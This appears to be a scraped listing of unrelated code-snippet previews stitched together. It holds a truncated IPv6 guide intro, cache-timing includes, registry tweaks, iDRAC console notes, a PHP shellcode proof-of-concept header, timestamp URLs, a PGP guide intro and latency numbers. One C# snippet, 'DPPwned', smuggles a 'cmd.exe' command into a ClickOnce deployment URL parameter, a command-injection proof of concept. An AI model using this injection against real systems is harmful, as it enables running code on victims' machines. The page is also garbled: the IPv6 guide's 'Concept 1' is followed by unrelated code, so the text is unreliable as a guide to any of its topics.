This guide is for homelab admins who understand IPv4s well but find setting up IPv6 hard or annoying because things work differently. In some ways, managing an IPv6 network can be simpler than IPv4, one just needs to learn some new concepts and discard some old ones.
Let’s begin.
First of all, there are some concepts that one must unlearn from ipv4:
Concept 1
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <stdint.h> | |
| #ifdef _MSC_VER | |
| #include <intrin.h> /* for rdtscp and clflush */ | |
| #pragma optimize("gt",on) | |
| #else | |
| #include <x86intrin.h> /* for rdtscp and clflush */ | |
| #endif |
| Windows Registry Editor Version 5.00 | |
| [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy] | |
| "Disabled"=dword:00000001 | |
| [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ContentDeliveryManager] | |
| "SubscribedContent-338388Enabled"=dword:00000000 | |
Get the following:
brew upgrade youtube-dl),cookies.txt file.Then,
| Use this as an example on how to start the virtual console without the need of Java Web Start or accessing it from the web interface. | |
| You can use the user and password that you use for the web interface. | |
| You need an old JRE... I used 1.7.0_80 from the Server JRE package, also I have tested successfully 1.7.0_79 with MacOS. | |
| You don't need to install it, just extract it or copy the files in "jre" folder. | |
| Open the viewer.jnlp file that you get by launching the virtual console from the web interface with a text editor. | |
| Note the urls to the jar files. Download the main jar file avctKVM.jar and the libs for your operating system and architecture. | |
| Extract the dlls (.so Linux, .jnilib MacOS) from the jar libs. |
| <?php | |
| /* | |
| Updated version, 2016-12-02: fixed shellcode so it *actually* works on QEMU | |
| usermode emulation (seems I pushed an old version), and removed debug output. | |
| ------------------------- | |
| NB: THIS PoC ONLY WORKS IN QEMU USERMODE EMULATION! | |
| If anyone wants to fix this, go ahead (no pun intended). | |
| However, I don't have a vulnerable product and am unwilling to acquire one. |
| using System; | |
| using System.Runtime.InteropServices; | |
| class DPPwned { | |
| [DllImport("dfshim.dll")] | |
| public static extern int LaunchApplication([MarshalAs(UnmanagedType.LPWStr)] string deploymentUrl,int data,int flags); | |
| public static void Main() { | |
| LaunchApplication("https://onestepfreinstaller.blob.core.windows.net/installer/DPLauncher.application?SelectedItems=%22+%2FC%3A%22cmd.exe+%2Fk+echo+pwned+%26%26+rem+",0,0); |
| https://rfc3161.ai.moda | |
| https://rfc3161.ai.moda/adobe | |
| https://rfc3161.ai.moda/microsoft | |
| https://rfc3161.ai.moda/apple | |
| https://rfc3161.ai.moda/any | |
| http://rfc3161.ai.moda | |
| http://timestamp.digicert.com | |
| http://timestamp.globalsign.com/tsa/r6advanced1 | |
| http://rfc3161timestamp.globalsign.com/advanced | |
| http://timestamp.sectigo.com |
This is a guide on how to email securely.
There are many guides on how to install and use PGP to encrypt email. This is not one of them. This is a guide on secure communication using email with PGP encryption. If you are not familiar with PGP, please read another guide first. If you are comfortable using PGP to encrypt and decrypt emails, this guide will raise your security to the next level.
L1 cache reference ......................... 0.5 ns
Branch mispredict ............................ 5 ns
L2 cache reference ........................... 7 ns
Mutex lock/unlock ........................... 25 ns
Main memory reference ...................... 100 ns
Compress 1K bytes with Zippy ............. 3,000 ns = 3 µs
Send 2K bytes over 1 Gbps network ....... 20,000 ns = 20 µs
SSD random read ........................ 150,000 ns = 150 µs
Read 1 MB sequentially from memory ..... 250,000 ns = 250 µs